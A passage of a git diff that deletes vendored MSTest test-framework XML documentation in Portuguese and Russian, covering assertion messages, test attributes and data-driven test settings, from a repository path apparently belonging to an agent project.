caracteres localizada semelhante a {0}({1}). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (nulo). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (objeto). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não contém a cadeia de caracteres '{1}'. {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0} ({1}). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Assert.Equals não deve ser usado para Asserções. Use Assert.AreEqual e sobrecargas em seu lugar. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O número de elementos nas coleções não corresponde. Esperado:<{1}>. Real:<{2}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {0} não corresponde. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {1} não é de tipo esperado. Tipo esperado:<{2}>. Tipo real:<{3}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {1} é (nulo). Tipo esperado:<{2}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não termina com a cadeia de caracteres '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Argumento inválido – EqualsTester não pode usar nulos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Não é possível converter objeto do tipo {0} em {1}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O objeto interno referenciado não é mais válido. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O parâmetro '{0}' é inválido. {1}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A propriedade {0} é do tipo {1}; tipo esperado {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0} Tipo esperado:<{1}>. Tipo real:<{2}>.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não corresponde ao padrão '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Tipo incorreto:<{1}>. Tipo real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' corresponde ao padrão '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Nenhum DataRowAttribute especificado. Pelo menos um DataRowAttribute é necessário com DataTestMethodAttribute. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Nenhuma exceção gerada. A exceção {1} era esperada. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O parâmetro '{0}' é inválido. O valor não pode ser nulo. {1}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Número diferente de elementos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a - O construtor com a assinatura especificada não pôde ser encontrado. Talvez seja necessário gerar novamente seu acessador particular - ou o membro pode ser particular e definido em uma classe base. Se o último for verdadeiro, será necessário passar o tipo - que define o membro no construtor do PrivateObject. - . - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a - O membro especificado ({0}) não pôde ser encontrado. Talvez seja necessário gerar novamente seu acessador particular - ou o membro pode ser particular e definido em uma classe base. Se o último for verdadeiro, será necessário passar o tipo - que define o membro no construtor do PrivateObject. - . - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não começa com a cadeia de caracteres '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O tipo de exceção esperado deve ser System.Exception ou um tipo derivado de System.Exception. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (Falha ao obter a mensagem para uma exceção do tipo {0} devido a uma exceção.). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste não gerou a exceção esperada {0}. {1}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste não gerou uma exceção. Uma exceção era esperada pelo atributo {0} definido no método de teste. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste gerou a exceção {0}, mas era esperada a exceção {1}. Mensagem de exceção: {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste gerou a exceção {0}, mas era esperado a exceção {1} ou um tipo derivado dela. Mensagem de exceção: {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Exceção gerada {2}, mas a exceção {1} era esperada. {0} - Mensagem de Exceção: {3} - Rastreamento de Pilha: {4}. - - - - - resultados de teste de unidade - - - - - O teste foi executado, mas ocorreram problemas. - Os problemas podem envolver exceções ou asserções com falha. - - - - - O teste foi concluído, mas não é possível dizer se houve aprovação ou falha. - Pode ser usado para testes anulados. - - - - - O teste foi executado sem nenhum problema. - - - - - O teste está em execução no momento. - - - - - Ocorreu um erro de sistema ao tentarmos executar um teste. - - - - - O tempo limite do teste foi atingido. - - - - - O teste foi anulado pelo usuário. - - - - - O teste está em um estado desconhecido - - - - - Fornece funcionalidade auxiliar para a estrutura do teste de unidade - - - - - Obtém as mensagens de exceção, incluindo as mensagens para todas as exceções internas - recursivamente - - Exceção ao obter mensagens para - cadeia de caracteres com informações de mensagem de erro - - - - Enumeração para tempos limite, a qual pode ser usada com a classe . - O tipo de enumeração deve corresponder - - - - - O infinito. - - - - - O atributo da classe de teste. - - - - - Obtém um atributo de método de teste que habilita a execução desse teste. - - A instância de atributo do método de teste definida neste método. - O a ser usado para executar esse teste. - Extensions can override this method to customize how all methods in a class are run. - - - - O atributo do método de teste. - - - - - Executa um método de teste. - - O método de teste a ser executado. - Uma matriz de objetos TestResult que representam resultados do teste. - Extensions can override this method to customize running a TestMethod. - - - - O atributo de inicialização do teste. - - - - - O atributo de limpeza do teste. - - - - - O atributo ignorar. - - - - - O atributo de propriedade de teste. - - - - - Inicializa uma nova instância da classe . - - - O nome. - - - O valor. - - - - - Obtém o nome. - - - - - Obtém o valor. - - - - - O atributo de inicialização de classe. - - - - - O atributo de limpeza de classe. - - - - - O atributo de inicialização de assembly. - - - - - O atributo de limpeza de assembly. - - - - - Proprietário do Teste - - - - - Inicializa uma nova instância da classe . - - - O proprietário. - - - - - Obtém o proprietário. - - - - - Atributo de prioridade. Usado para especificar a prioridade de um teste de unidade. - - - - - Inicializa uma nova instância da classe . - - - A prioridade. - - - - - Obtém a prioridade. - - - - - Descrição do teste - - - - - Inicializa uma nova instância da classe para descrever um teste. - - A descrição. - - - - Obtém a descrição de um teste. - - - - - URI de Estrutura do Projeto de CSS - - - - - Inicializa a nova instância da classe para o URI da Estrutura do Projeto CSS. - - O URI da Estrutura do Projeto ECSS. - - - - Obtém o URI da Estrutura do Projeto CSS. - - - - - URI de Iteração de CSS - - - - - Inicializa uma nova instância da classe para o URI de Iteração do CSS. - - O URI de iteração do CSS. - - - - Obtém o URI de Iteração do CSS. - - - - - Atributo WorkItem. Usado para especificar um item de trabalho associado a esse teste. - - - - - Inicializa a nova instância da classe para o Atributo WorkItem. - - A ID para o item de trabalho. - - - - Obtém a ID para o item de trabalho associado. - - - - - Atributo de tempo limite. Usado para especificar o tempo limite de um teste de unidade. - - - - - Inicializa uma nova instância da classe . - - - O tempo limite. - - - - - Inicializa a nova instância da classe com um tempo limite predefinido - - - O tempo limite - - - - - Obtém o tempo limite. - - - - - O objeto TestResult a ser retornado ao adaptador. - - - - - Inicializa uma nova instância da classe . - - - - - Obtém ou define o nome de exibição do resultado. Útil ao retornar vários resultados. - Se for nulo, o nome do Método será usado como o DisplayName. - - - - - Obtém ou define o resultado da execução de teste. - - - - - Obtém ou define a exceção gerada quando o teste falha. - - - - - Obtém ou define a saída da mensagem registrada pelo código de teste. - - - - - Obtém ou define a saída da mensagem registrada pelo código de teste. - - - - - Obtém ou define os rastreamentos de depuração pelo código de teste. - - - - - Gets or sets the debug traces by test code. - - - - - Obtém ou define a duração de execução do teste. - - - - - Obtém ou define o índice de linha de dados na fonte de dados. Defina somente para os resultados de execuções - individuais de um teste controlado por dados. - - - - - Obtém ou define o valor retornado do método de teste. (Sempre nulo no momento). - - - - - Obtém ou define os arquivos de resultado anexados pelo teste. - - - - - Especifica a cadeia de conexão, o nome de tabela e o método de acesso de linha para teste controlado por dados. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - O nome do provedor padrão para a DataSource. - - - - - O método de acesso a dados padrão. - - - - - Inicializa a nova instância da classe . Essa instância será inicializada com um provedor de dados, uma cadeia de conexão, uma tabela de dados e um método de acesso a dados para acessar a fonte de dados. - - Nome do provedor de dados invariável, como System.Data.SqlClient - - Cadeia de conexão específica do provedor de dados. - AVISO: a cadeia de conexão pode conter dados confidenciais (por exemplo, uma senha). - A cadeia de conexão é armazenada em texto sem formatação no código-fonte e no assembly compilado. - Restrinja o acesso ao código-fonte e ao assembly para proteger essas formações confidenciais. - - O nome da tabela de dados. - Especifica a ordem para acessar os dados. - - - - Inicializa a nova instância da classe . Essa instância será inicializada com uma cadeia de conexão e um nome da tabela. - Especifique a cadeia de conexão e a tabela de dados para acessar a fonte de dados OLEDB. - - - Cadeia de conexão específica do provedor de dados. - AVISO: a cadeia de conexão pode conter dados confidenciais (por exemplo, uma senha). - A cadeia de conexão é armazenada em texto sem formatação no código-fonte e no assembly compilado. - Restrinja o acesso ao código-fonte e ao assembly para proteger essas formações confidenciais. - - O nome da tabela de dados. - - - - Inicializa a nova instância da classe . Essa instância será inicializada com um provedor de dados e com uma cadeia de conexão associada ao nome da configuração. - - O nome da fonte de dados encontrada na seção <microsoft.visualstudio.qualitytools> do arquivo app.config. - - - - Obtém o valor que representa o provedor de dados da fonte de dados. - - - O nome do provedor de dados. Se um provedor de dados não foi designado na inicialização do objeto, o provedor de dados padrão de System.Data.OleDb será retornado. - - - - - Obtém o valor que representa a cadeia de conexão da fonte de dados. - - - - - Obtém um valor que indica o nome da tabela que fornece dados. - - - - - Obtém o método usado para acessar a fonte de dados. - - - - Um dos valores. Se o não for inicializado, o valor padrão será retornado . - - - - - Obtém o nome da fonte de dados encontrada na seção <microsoft.visualstudio.qualitytools> no arquivo app.config. - - - - - O atributo para teste controlado por dados em que os dados podem ser especificados de maneira embutida. - - - - - Encontrar todas as linhas de dados e executar. - - - O Método de teste. - - - Uma matriz de . - - - - - Executa o método de teste controlado por dados. - - O método de teste a ser executado. - Linha de Dados. - Resultados de execução. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index f6977067..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Используется для указания элемента развертывания (файл или каталог) для развертывания каждого теста. - Может указываться для тестового класса или метода теста. - Чтобы указать несколько элементов, можно использовать несколько экземпляров атрибута. - Путь к элементу может быть абсолютным или относительным, в последнем случае он указывается по отношению к RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Инициализирует новый экземпляр класса . - - Файл или каталог для развертывания. Этот путь задается относительно выходного каталога сборки. Элемент будет скопирован в тот же каталог, что и развернутые сборки теста. - - - - Инициализирует новый экземпляр класса - - Относительный или абсолютный путь к файлу или каталогу для развертывания. Этот путь задается относительно выходного каталога сборки. Элемент будет скопирован в тот же каталог, что и развернутые сборки теста. - Путь к каталогу, в который должны быть скопированы элементы. Он может быть абсолютным или относительным (по отношению к каталогу развертывания). Все файлы и каталоги, обозначенные при помощи будет скопировано в этот каталог. - - - - Получает путь к копируемым исходному файлу или папке. - - - - - Получает путь к каталогу, в который копируется элемент. - - - - - Класс TestContext. Этот класс должен быть полностью абстрактным и не должен содержать ни одного элемента. - Элементы будут реализованы в адаптере. Пользователи платформы должны обращаться к этому классу - только при помощи четко определенного интерфейса. - - - - - Получает свойства теста. - - - - - Получает полное имя класса, содержащего метод теста, который выполняется в данный момент - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Получает имя метода теста, выполняемого в данный момент - - - - - Получает текущий результат теста. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index f278594a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4202 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - TestMethod для выполнения. - - - - - Получает имя метода теста. - - - - - Получает имя тестового класса. - - - - - Получает тип возвращаемого значения метода теста. - - - - - Получает параметры метода теста. - - - - - Получает methodInfo для метода теста. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Вызывает метод теста. - - - Аргументы, передаваемые методу теста (например, для управляемых данными тестов). - - - Результат вызова метода теста. - - - This call handles asynchronous test methods as well. - - - - - Получить все атрибуты метода теста. - - - Допустим ли атрибут, определенный в родительском классе. - - - Все атрибуты. - - - - - Получить атрибут указанного типа. - - System.Attribute type. - - Допустим ли атрибут, определенный в родительском классе. - - - Атрибуты указанного типа. - - - - - Вспомогательный метод. - - - - - Параметр проверки не имеет значения NULL. - - - Параметр. - - - Имя параметра. - - - Сообщение. - - Throws argument null exception when parameter is null. - - - - Параметр проверки не равен NULL или не пуст. - - - Параметр. - - - Имя параметра. - - - Сообщение. - - Throws ArgumentException when parameter is null. - - - - Перечисление, описывающее способ доступа к строкам данных в тестах, управляемых данными. - - - - - Строки возвращаются в последовательном порядке. - - - - - Строки возвращаются в случайном порядке. - - - - - Атрибут для определения встроенных данных для метода теста. - - - - - Инициализирует новый экземпляр класса . - - Объект данных. - - - - Инициализирует новый экземпляр класса , принимающий массив аргументов. - - Объект данных. - Дополнительные данные. - - - - Получает данные для вызова метода теста. - - - - - Получает или задает отображаемое имя в результатах теста для настройки. - - - - - Исключение утверждения с неопределенным результатом. - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Инициализирует новый экземпляр класса . - - - - - Класс InternalTestFailureException. Используется для указания внутреннего сбоя для тестового случая - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Инициализирует новый экземпляр класса . - - Сообщение об исключении. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение об исключении. - - - - Инициализирует новый экземпляр класса . - - - - - Атрибут, который указывает, что ожидается исключение указанного типа - - - - - Инициализирует новый экземпляр класса ожидаемого типа - - Тип ожидаемого исключения - - - - Инициализирует новый экземпляр класса - ожидаемого типа c сообщением для включения, когда тест не создает исключение. - - Тип ожидаемого исключения - - Сообщение для включения в результат теста, если тест не был пройден из-за того, что не создал исключение - - - - - Получает значение, указывающее тип ожидаемого исключения - - - - - Получает или задает значение, которое означает, являются ли ожидаемыми типы, производные - от типа ожидаемого исключения - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Проверяет, является ли ожидаемым тип исключения, созданного модульным тестом - - Исключение, созданное модульным тестом - - - - Базовый класс для атрибутов, которые указывают ожидать исключения из модульного теста - - - - - Инициализирует новый экземпляр класса с сообщением об отсутствии исключений по умолчанию - - - - - Инициализирует новый экземпляр класса с сообщением об отсутствии исключений - - - Сообщение для включения в результат теста, если тест не был пройден из-за того, что не создал - исключение - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Получает сообщение, включаемое в результаты теста, если он не пройден из-за того, что не возникло исключение - - - - - Получает сообщение по умолчанию об отсутствии исключений - - Название типа для атрибута ExpectedException - Сообщение об отсутствии исключений по умолчанию - - - - Определяет, ожидается ли исключение. Если метод возвращает управление, то - считается, что ожидалось исключение. Если метод создает исключение, то - считается, что исключение не ожидалось, и сообщение созданного исключения - включается в результат теста. Для удобства можно использовать класс . - Если используется и утверждение завершается с ошибкой, - то результат теста будет неопределенным. - - Исключение, созданное модульным тестом - - - - Повторно создать исключение при возникновении исключения AssertFailedException или AssertInconclusiveException - - Исключение, которое необходимо создать повторно, если это исключение утверждения - - - - Этот класс предназначен для пользователей, выполняющих модульное тестирование для универсальных типов. - GenericParameterHelper удовлетворяет некоторым распространенным ограничениям для универсальных типов, - например. - 1. Открытый конструктор по умолчанию - 2. Реализует общий интерфейс: IComparable, IEnumerable - - - - - Инициализирует новый экземпляр класса , который - удовлетворяет ограничению newable в универсальных типах C#. - - - This constructor initializes the Data property to a random value. - - - - - Инициализирует новый экземпляр класса , который - инициализирует свойство Data в указанное пользователем значение. - - Любое целочисленное значение - - - - Получает или задает данные - - - - - Сравнить значения двух объектов GenericParameterHelper - - объект, с которым будет выполнено сравнение - True, если obj имеет то же значение, что и объект "this" GenericParameterHelper. - В противном случае False. - - - - Возвращает хэш-код для этого объекта. - - Хэш-код. - - - - Сравнивает данные двух объектов . - - Объект для сравнения. - - Число со знаком, указывающее относительные значения этого экземпляра и значения. - - - Thrown when the object passed in is not an instance of . - - - - - Возвращает объект IEnumerator, длина которого является производной - от свойства Data. - - Объект IEnumerator - - - - Возвращает объект GenericParameterHelper, равный - текущему объекту. - - Клонированный объект. - - - - Позволяет пользователям регистрировать/записывать трассировки от модульных тестов для диагностики. - - - - - Обработчик LogMessage. - - Сообщение для записи в журнал. - - - - Прослушиваемое событие. Возникает, когда средство записи модульных тестов записывает сообщение. - Главным образом используется адаптером. - - - - - API, при помощи которого средство записи теста будет обращаться к сообщениям журнала. - - Строка формата с заполнителями. - Параметры для заполнителей. - - - - Атрибут TestCategory; используется для указания категории модульного теста. - - - - - Инициализирует новый экземпляр класса и применяет категорию к тесту. - - - Категория теста. - - - - - Возвращает или задает категории теста, которые были применены к тесту. - - - - - Базовый класс для атрибута Category - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Инициализирует новый экземпляр класса . - Применяет к тесту категорию. Строки, возвращаемые TestCategories , - используются с командой /category для фильтрации тестов - - - - - Возвращает или задает категорию теста, которая была применена к тесту. - - - - - Класс AssertFailedException. Используется для указания сбоя тестового случая - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Инициализирует новый экземпляр класса . - - - - - Коллекция вспомогательных классов для тестирования различных условий в - модульных тестах. Если проверяемое условие - ложно, создается исключение. - - - - - Получает одноэлементный экземпляр функции Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение False. Сообщение отображается в результатах теста. - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие истинным, и создает исключение, - если условие ложно. - - - Условие, которое должно быть истинным с точки зрения теста. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение False. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is false. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Thrown if is true. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение True. Сообщение отображается в результатах теста. - - - Thrown if is true. - - - - - Проверяет, является ли указанное условие ложным, и создает исключение, - если условие истинно. - - - Условие, которое с точки зрения теста должно быть ложным. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение True. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is true. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение, отличное от NULL. Сообщение отображается в результатах теста. - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он не равен NULL. - - - Объект, который с точки зрения теста должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение, отличное от NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is not null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Thrown if is null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение NULL. Сообщение отображается в результатах теста. - - - Thrown if is null. - - - - - Проверяет, имеет ли указанный объект значение NULL, и создает исключение, - если он равен NULL. - - - Объект, который не должен быть равен NULL. - - - Сообщение, которое будет добавлено в исключение, если - имеет значение NULL. Сообщение отображается в результатах теста. - - - Массив параметров для использования при форматировании . - - - Thrown if is null. - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается - в результатах тестирования. - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на один и тот же объект, и - создает исключение, если два входных значения не ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — ожидаемое тестом значение. - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается - в результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if does not refer to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Thrown if refers to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if refers to the same object - as . - - - - - Проверяет, ссылаются ли указанные объекты на разные объекты, и - создает исключение, если два входных значения ссылаются на один и тот же объект. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if refers to the same object - as . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Thrown if is not equal to . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные значения на равенство и создает исключение, - если два значения не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это — ожидаемое тестом значение. - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные значения на неравенство и создает исключение, - если два значения равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - The type of values to compare. - - - Первое сравниваемое значение. Это значение с точки зрения теста не должно - соответствовать . - - - Второе сравниваемое значение. Это — значение, созданное тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на равенство и создает исключение, - если два объекта не равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — ожидаемый тестом объект. - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные объекты на неравенство и создает исключение, - если два объекта равны. Различные числовые типы - считаются неравными, даже если логические значения равны. Например, 42L не равно 42. - - - Первый сравниваемый объект. Это — значение, которое с точки зрения теста не должно - соответствовать . - - - Второй сравниваемый объект. Это — объект, созданный тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные числа с плавающей запятой на равенство и создает исключение, - если они не равны. - - - Первое число с плавающей 